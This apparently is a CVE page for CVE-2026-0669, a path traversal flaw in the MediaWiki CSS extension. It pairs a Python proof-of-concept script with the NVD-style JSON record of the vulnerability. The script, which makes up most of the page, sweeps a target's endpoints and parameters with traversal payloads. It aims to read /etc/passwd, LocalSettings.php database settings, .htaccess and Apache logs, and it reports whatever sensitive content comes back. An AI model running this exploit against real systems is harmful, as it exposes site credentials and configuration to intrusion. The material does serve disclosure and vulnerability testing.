CVE-2026-0669

# CVE-2026-0669 MediaWiki CSS Extension Path Traversal PoC # Affected Versions: MediaWiki CSS extension 1.44, 1.43, 1.39 # CVSS: 7.5 (High) import requests import sys def test_path_traversal(base_url): """ Test for path traversal vulnerability in MediaWiki CSS extension """ # Common MediaWiki CSS endpoint patterns endpoints = [ "/skins/css", "/w/skins/css", "/skin.php", "/api.php?action=parse&text={{:TemplateName}}" ] # Path traversal payloads to test payloads = [ "../../../../../../../../etc/passwd", "../../../includes/DefaultSettings.php", "../../../../LocalSettings.php", "../.htaccess", "../../../../../../../var/log/apache2/access.log" ] print(f"[*] Testing {base_url} for CVE-2026-0669") print(f"[*] Target: MediaWiki CSS Extension Path Traversal\n") for endpoint in endpoints: for payload in payloads: # Try different parameter names params = [ {"action": "raw", "lang": payload}, {"file": payload}, {"path": payload}, {"stylesheet": payload} ] for param in params: try: url = base_url + endpoint response = requests.get(url, params=param, timeout=10) # Check for successful file read if response.status_code == 200: content = response.text # Check for sensitive file signatures if any(sig in content for sig in [ "root:x:", # /etc/passwd "$wgDB", # LocalSettings.php "<?php", # PHP files "# Apache", # .htaccess "<?xml" # XML config files ]): print(f"[!] VULNERABLE!") print(f"[+] URL: {url}?{param}") print(f"[+] Response length: {len(content)}") print(f"[+] First 200 chars: {content[:200]}\n") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] Test completed. No obvious vulnerability detected.") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/wiki/") sys.exit(1) base_url = sys.argv[1].rstrip('/') test_path_traversal(base_url)

{"cve": {"id": "CVE-2026-0669", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-01-07T18:15:53.003", "lastModified": "2026-02-23T18:45:28.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Wikimedia Foundation MediaWiki - CSS extension allows Path Traversal.This issue affects MediaWiki - CSS extension: 1.44, 1.43, 1.39."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:css_project:css:-:*:*:*:*:mediawiki:*:*", "matchCriteriaId": "931FD1A4-7FD7-41E3-85E2-6B99F5E3BAB5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:mediawiki:mediawiki:1.39.0:-:*:*:*:*:*:*", "matchCriteriaId": "243E4420-7054-4190-8270-76E09207FC9C"}, {"vulnerable": false, "criteria": "cpe:2.3:a:mediawiki:mediawiki:1.43.0:-:*:*:*:*:*:*", "matchCriteriaId": "65A0A018-AEB0-491D-94C4-C14B7D8A45E7"}, {"vulnerable": false, "criteria": "cpe:2.3:a:mediawiki:mediawiki:1.44.0:*:*:*:*:*:*:*", "matchCriteriaId": "FB02399E-7A9A-4F8C-8031-F4D4DCD82C76"}]}]}], "references": [{"url": "https://gerrit.wikimedia.org/r/q/Ia15bf3f2e5a341868568492a736ac3dbf706c22e", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://phabricator.wikimedia.org/T401526", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Exploit", "Issue Tracking"]}]}}